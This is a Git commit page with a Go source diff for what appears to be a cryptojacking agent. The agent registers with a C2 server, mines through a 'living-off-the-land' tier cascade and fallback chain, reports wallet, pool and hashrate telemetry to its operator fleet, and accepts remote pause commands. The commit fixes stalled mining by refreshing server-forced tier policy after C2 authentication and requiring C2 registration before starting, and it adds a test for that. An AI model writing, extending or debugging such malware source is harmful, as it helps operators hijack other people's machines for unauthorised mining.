Fix simple deploy mining: refresh auth tier policy and mine immediately.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
This commit is contained in:
@@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if stats.MiningHashrate < 1 {
|
||||
if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" {
|
||||
stats.MiningBlockReason = reason
|
||||
}
|
||||
}
|
||||
if depth := c.contingencyDepthForStats(); depth > 0 {
|
||||
stats.ContingencyDepth = depth
|
||||
}
|
||||
@@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() {
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||
return
|
||||
}
|
||||
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||
return
|
||||
}
|
||||
if c.miningCtx == nil || c.miningChain == nil {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
c.miningChain.refreshTierOrchestrator()
|
||||
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
|
||||
return
|
||||
}
|
||||
log.Printf("[mining] restarting chain after auth with server policy")
|
||||
c.miningChain.Restart(c.miningCtx)
|
||||
}()
|
||||
|
||||
@@ -126,8 +126,19 @@ func (r *MiningChainRunner) Start(ctx context.Context) {
|
||||
r.startMiningCascade(ctx)
|
||||
}
|
||||
|
||||
// refreshTierOrchestrator rebuilds the tier onion from the latest server/auth policy.
|
||||
// newMiningChainRunner() captures policy at process start — auth may apply ForceTier later.
|
||||
func (r *MiningChainRunner) refreshTierOrchestrator() {
|
||||
c := r.client
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(func() bool {
|
||||
return newGPUMiner(c.cfg) != nil
|
||||
}), r.reportTierEvent)
|
||||
}
|
||||
|
||||
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
|
||||
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
||||
r.refreshTierOrchestrator()
|
||||
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
tierReport := r.tiers.Report()
|
||||
|
||||
@@ -3,6 +3,7 @@ package client
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
@@ -26,6 +27,7 @@ type MiningDiagnostics struct {
|
||||
C2Connected bool `json:"c2_connected"`
|
||||
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
InstallDir string `json:"install_dir,omitempty"`
|
||||
@@ -112,6 +114,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
d.LastJobAgeSec = &age
|
||||
}
|
||||
d.MiningMode = c.cfg.MiningMode
|
||||
d.Wallet = c.cfg.Wallet
|
||||
d.PoolHost = c.cfg.PoolHost
|
||||
d.PoolPort = c.cfg.PoolPort
|
||||
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
@@ -254,8 +257,31 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
return d
|
||||
}
|
||||
|
||||
// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate.
|
||||
func PrimaryMiningBlockReason(d MiningDiagnostics) string {
|
||||
if len(d.LikelyBlockers) > 0 {
|
||||
return d.LikelyBlockers[0]
|
||||
}
|
||||
if d.CPU.ScheduleBlocked {
|
||||
return "mining_mode schedule/idle guard blocking workers"
|
||||
}
|
||||
if d.ChainExhausted {
|
||||
return "mining fallback chain exhausted — all primary methods failed"
|
||||
}
|
||||
if !d.C2Connected {
|
||||
return "waiting for C2 registration"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
||||
var blockers []string
|
||||
if strings.TrimSpace(d.Wallet) == "" {
|
||||
blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge")
|
||||
}
|
||||
if strings.TrimSpace(d.PoolHost) == "" {
|
||||
blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge")
|
||||
}
|
||||
if d.CPU.RemotePaused {
|
||||
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
||||
}
|
||||
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
||||
@@ -49,14 +51,20 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
c.miningChain.Start(ctx)
|
||||
}
|
||||
|
||||
requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining()
|
||||
for {
|
||||
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
||||
tryStart("diagnostics pass")
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
tryStart("diagnostics wait timeout")
|
||||
return
|
||||
if requireC2 && !c.connected.Load() {
|
||||
log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration")
|
||||
deadline = time.Now().Add(maxWait)
|
||||
} else {
|
||||
tryStart("diagnostics wait timeout")
|
||||
return
|
||||
}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
|
||||
@@ -161,7 +161,8 @@ type StatsPayload struct {
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
|
||||
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
MiningBlockReason string `json:"mining_block_reason,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
|
||||
@@ -51,6 +51,25 @@ func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
|
||||
func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SimpleDeploy = true
|
||||
cfg.MinerExecution = "inprocess"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
r := c.newMiningChainRunner()
|
||||
if len(r.tiers.Report().TierChainOrder) == 0 {
|
||||
t.Fatal("expected default tier chain before auth")
|
||||
}
|
||||
raw, _ := json.Marshal(map[string]string{"force_tier": "cpu_inprocess"})
|
||||
c.applyMiningTierPolicyJSON(raw)
|
||||
r.refreshTierOrchestrator()
|
||||
chain := r.tiers.Report().TierChainOrder
|
||||
if len(chain) != 1 || chain[0] != miner.TierCPUInprocess {
|
||||
t.Fatalf("expected force cpu_inprocess after auth refresh, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
|
||||
Reference in New Issue
Block a user